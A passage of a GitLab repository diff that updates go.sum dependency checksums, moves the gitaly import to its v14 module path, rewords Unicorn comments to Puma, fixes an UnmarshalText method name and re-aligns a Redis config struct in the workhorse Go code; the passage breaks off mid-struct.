github.com/rogpeppe/go-internal v1.3.2/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/rogpeppe/go-internal v1.4.0/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/rubenv/sql-migrate v0.0.0-20191213152630-06338513c237/go.mod h1:rtQlpHw+eR6UrqaS3kX1VYeaCxzCVdimDS7g5Ln4pPc=
+github.com/rubyist/tracerx v0.0.0-20170927163412-787959303086/go.mod h1:YpdgDXpumPB/+EGmGTYHeiW/0QVFRzBYTNFaxWfPDk4=
github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
@@ -688,6 +721,7 @@ github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb6
github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
+github.com/ssgelm/cookiejarparser v1.0.1/go.mod h1:DUfC0mpjIzlDN7DzKjXpHj0qMI5m9VrZuz3wSlI+OEI=
github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI=
@@ -703,6 +737,7 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tinylib/msgp v1.0.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
+github.com/tinylib/msgp v1.1.0/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
github.com/tinylib/msgp v1.1.2 h1:gWmO7n0Ys2RBEb7GPYB9Ujq8Mk5p2U08lRnmMcGy6BQ=
github.com/tinylib/msgp v1.1.2/go.mod h1:+d+yLhGm8mzTaHzB+wgMYrodPfmZrzkirds8fDWklFE=
github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
@@ -719,6 +754,7 @@ github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljT
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA=
github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
+github.com/urfave/cli v1.22.2/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
github.com/urfave/negroni v1.0.0/go.mod h1:Meg73S6kFm/4PpbYdq35yYWoCZ9mS/YSx+lKnmiohz4=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasthttp v1.6.0/go.mod h1:FstJa9V+Pj9vQ7OJie2qMHdwemEDaDiSdBnvPM1Su9w=
@@ -726,6 +762,7 @@ github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPU
github.com/valyala/tcplisten v0.0.0-20161114210144-ceec8f93295a/go.mod h1:v3UYOV9WzVtRmSR+PDvWpU/qWl4Wa5LApYYX4ZtKbio=
github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU=
github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ=
+github.com/xeipuuv/gojsonschema v0.0.0-20170210233622-6b67b3fab74d/go.mod h1:5yf86TLmAcydyeJq5YvxkGPE2fm/u4myDekKRoLuqhs=
github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
@@ -738,11 +775,14 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/ziutek/mymysql v1.5.4/go.mod h1:LMSpPZ6DbqWFxNCHW77HeMg9I646SAhApZ/wKdgO/C0=
-gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93 h1:5qkRBchgs4IvlbRdJTMISuktLF1ZtLMowyhzQteEeKI=
-gitlab.com/gitlab-org/gitaly v1.87.1-0.20201001041716-3f5e218def93/go.mod h1:NEpGSBkjMt7yV5SB1MFySVQqTKFEUdfTDxS76Rt7GC8=
-gitlab.com/gitlab-org/gitlab-shell v0.0.0-20200921044701-1a2bfecd2f0e/go.mod h1:RABblvnnhHpFU/lexlwGqpKgZsLV3RGA2D/Elp5/KEA=
-gitlab.com/gitlab-org/labkit v0.0.0-20200507062444-0149780c759d/go.mod h1:SNfxkfUwVNECgtmluVayv0GWFgEjjBs5AzgsowPQuo0=
+gitlab.com/gitlab-org/gitaly v1.68.0 h1:VlcJs1+PrhW7lqJUU7Fh1q8FMJujmbbivdfde/cwB98=
+gitlab.com/gitlab-org/gitaly v1.68.0/go.mod h1:/pCsB918Zu5wFchZ9hLYin9WkJ2yQqdVNz0zlv5HbXg=
+gitlab.com/gitlab-org/gitaly/v14 v14.0.0-rc1 h1:4u44IbgntN1yKgnY/mUabRjHXIchrLPwUwMuDyQ0+ec=
+gitlab.com/gitlab-org/gitaly/v14 v14.0.0-rc1/go.mod h1:4Cz8tOAyueSZX5o6gYum1F/unupaOclxqETPcg4ODvQ=
+gitlab.com/gitlab-org/gitlab-shell v1.9.8-0.20201117050822-3f9890ef73dc/go.mod h1:5QSTbpAHY2v0iIH5uHh2KA9w7sPUqPmnLjDApI/sv1U=
+gitlab.com/gitlab-org/labkit v0.0.0-20190221122536-0c3fc7cdd57c/go.mod h1:rYhLgfrbEcyfinG+R3EvKu6bZSsmwQqcXzLfHWSfUKM=
gitlab.com/gitlab-org/labkit v0.0.0-20200908084045-45895e129029/go.mod h1:SNfxkfUwVNECgtmluVayv0GWFgEjjBs5AzgsowPQuo0=
+gitlab.com/gitlab-org/labkit v1.0.0/go.mod h1:nohrYTSLDnZix0ebXZrbZJjymRar8HeV2roWL5/jw2U=
gitlab.com/gitlab-org/labkit v1.4.0 h1:KZTEylusrFmqLXSzE5bHfBf7/xI2NLnsyoRgB7I7Oh8=
gitlab.com/gitlab-org/labkit v1.4.0/go.mod h1:4YbseTLUD7g4pPSylV57Hpyf7N3hbbxdx8K81//U/XM=
go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
@@ -762,6 +802,8 @@ go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
go.uber.org/atomic v1.5.0 h1:OI5t8sDa1Or+q8AeE+yKeB/SDYioSHAgcVljj9JIETY=
go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
+go.uber.org/goleak v1.1.10 h1:z+mqJhf6ss6BSfSM671tgKyZBFPTTJM+HLxnhPC3wu0=
+go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
@@ -774,7 +816,9 @@ golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnf
golang.org/x/crypto v0.0.0-20181203042331-505ab145d0a9/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190325154230-a5d413f7728c/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190426145343-a29dc8fdc734/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190621222207-cc06ce4a13d4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
@@ -805,6 +849,7 @@ golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMx
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8 h1:hVwzHzIUGRjiF7EcUjqNxk3NCfkPxbDKRdnNE1Rpg0U=
golang.org/x/image v0.0.0-20191009234506-e7c1f5e7dbb8/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
@@ -832,6 +877,7 @@ golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73r
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181106065722-10aee1819953/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -852,6 +898,7 @@ golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20191027093000-83d349e8ac1a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191112182307-2180aed22343/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
@@ -860,6 +907,7 @@ golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLL
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
@@ -937,6 +985,7 @@ golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -944,6 +993,7 @@ golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200413165638-669c56c373c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200420163511-1957bb5e6d1f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -957,6 +1007,7 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201202213521-69691e467435/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -987,6 +1038,7 @@ golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGm
golang.org/x/tools v0.0.0-20180525024113-a5b4c53f6e8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20181030221726-6c7e314b6563/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20181221001348-537d06c36207/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190206041539-40960b6deb8e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -1012,6 +1064,7 @@ golang.org/x/tools v0.0.0-20191010075000-0337d82405ff/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191108193012-7d206e10da11/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
@@ -1102,6 +1155,7 @@ google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCID
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20181202183823-bd91e49a0898/go.mod h1:7Ep/1NZk928CDR8SjdVbjWNpdIf6nzjE3BTgJDr2Atg=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
@@ -1149,6 +1203,7 @@ google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6D
google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=
google.golang.org/genproto v0.0.0-20210413151531-c14fb6ef47c3 h1:K+7Ig5hjiLVA/i1UFUUbCGimWz5/Ey0lAQjT3QiLaPY=
google.golang.org/genproto v0.0.0-20210413151531-c14fb6ef47c3/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
+google.golang.org/grpc v1.16.0/go.mod h1:0JHn/cJsOMiMfNA9+DeHDlAU7KAAB5GDlYFpa9MZMio=
google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM=
@@ -1207,6 +1262,11 @@ gopkg.in/go-playground/assert.v1 v1.2.1/go.mod h1:9RXL0bg/zibRAgZUYszZSwO/z8Y/a8
gopkg.in/go-playground/validator.v8 v8.18.2/go.mod h1:RX2a/7Ha8BgOhfk7j780h4/u/RRjR0eouCJSH80/M2Y=
gopkg.in/gorp.v1 v1.7.2/go.mod h1:Wo3h+DBQZIxATwftsglhdD/62zRFPhGhTiu5jUJmCaw=
gopkg.in/ini.v1 v1.51.1/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
+gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
+gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
+gopkg.in/jcmturner/goidentity.v2 v2.0.0/go.mod h1:vCwK9HeXksMeUmQ4SxDd1tRz4LejrKh3KRVjQWhjvZI=
+gopkg.in/jcmturner/gokrb5.v5 v5.3.0/go.mod h1:oQz8Wc5GsctOTgCVyKad1Vw4TCWz5G6gfIQr88RPv4k=
+gopkg.in/jcmturner/rpc.v0 v0.0.2/go.mod h1:NzMq6cRzR9lipgw7WxRBHNx5N8SifBuaCQsOT1kWY/E=
gopkg.in/mgo.v2 v2.0.0-20180705113604-9856a29383ce/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA=
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
diff --git a/workhorse/internal/api/api.go b/workhorse/internal/api/api.go
index d8e2a7b0d9f..5dae6eb01bb 100644
--- a/workhorse/internal/api/api.go
+++ b/workhorse/internal/api/api.go
@@ -14,7 +14,7 @@ import (
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promauto"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
@@ -308,7 +308,7 @@ func (api *API) PreAuthorizeHandler(next HandleFunc, suffix string) http.Handler
return
}
- httpResponse.Body.Close() // Free up the Unicorn worker
+ httpResponse.Body.Close() // Free up the Puma thread
copyAuthHeader(httpResponse, w)
@@ -347,7 +347,7 @@ func copyAuthHeader(httpResponse *http.Response, w http.ResponseWriter) {
func passResponseBack(httpResponse *http.Response, w http.ResponseWriter, r *http.Request) {
// NGINX response buffering is disabled on this path (with
- // X-Accel-Buffering: no) but we still want to free up the Unicorn worker
+ // X-Accel-Buffering: no) but we still want to free up the Puma thread
// that generated httpResponse as fast as possible. To do this we buffer
// the entire response body in memory before sending it on.
responseBody, err := bufferResponse(httpResponse.Body)
@@ -355,7 +355,7 @@ func passResponseBack(httpResponse *http.Response, w http.ResponseWriter, r *htt
helper.Fail500(w, r, err)
return
}
- httpResponse.Body.Close() // Free up the Unicorn worker
+ httpResponse.Body.Close() // Free up the Puma thread
bytesTotal.Add(float64(responseBody.Len()))
for k, v := range httpResponse.Header {
diff --git a/workhorse/internal/config/config.go b/workhorse/internal/config/config.go
index 84849c72744..9f214385f81 100644
--- a/workhorse/internal/config/config.go
+++ b/workhorse/internal/config/config.go
@@ -28,7 +28,7 @@ type TomlDuration struct {
time.Duration
}
-func (d *TomlDuration) UnmarshalTest(text []byte) error {
+func (d *TomlDuration) UnmarshalText(text []byte) error {
temp, err := time.ParseDuration(string(text))
d.Duration = temp
return err
@@ -70,16 +70,13 @@ type AzureCredentials struct {
}
type RedisConfig struct {
- URL TomlURL
- Sentinel []TomlURL
- SentinelMaster string
- Password string
- DB *int
- ReadTimeout *TomlDuration
- WriteTimeout *TomlDuration
- KeepAlivePeriod *TomlDuration
- MaxIdle *int
- MaxActive *int
+ URL TomlURL
+ Sentinel []TomlURL
+ SentinelMaster string
+ Password string
